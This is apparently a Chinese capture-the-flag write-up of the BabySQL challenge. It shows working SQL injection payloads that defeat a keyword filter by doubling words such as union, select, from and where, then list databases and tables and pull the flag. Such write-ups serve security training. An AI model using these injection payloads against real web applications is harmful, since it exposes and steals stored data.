[极客大挑战 2019]BabySQL
进入靶场:
-
页面还是一样,估计是加强了过滤。
-
还是用union查询先试一下:
' union select 1,2,3#
-
发现
union
和select
似乎都被过滤了。 -
尝试用双写绕过:
' ununionion selselectect 1,2,3#
-
成功绕过了,得到回显的位置,那么就好办了。
-
查询所有数据库名:
' ununionion selselectect 1,2,GROUP_CONCAT(schema_name) FROFROMM INFOORRMATION_SCHEMA.SCHEMATA #
-
发现一个数据库
ctf
-
接着就查这个数据库查表名
-
经过多次测试,可以发现过滤了:
FROM OR WHERE
,均用双写绕过即可 -
最终payload为:
' ununionion selselectect 1,2,GROUP_CONCAT(table_name) FRFROMOM INFOORRMATION_SCHEMA.TABLES WHWHEREERE TABLE_SCHEMA='ctf'#
-
发现一个表,表名为
Flag
-
直接盲猜有个列名为flag,得到payload:
' ununionion selselectect 1,2,flag FRFROMOM ctf.Flag#
GET Flag ! ! !
也可以先查询列名…无所谓的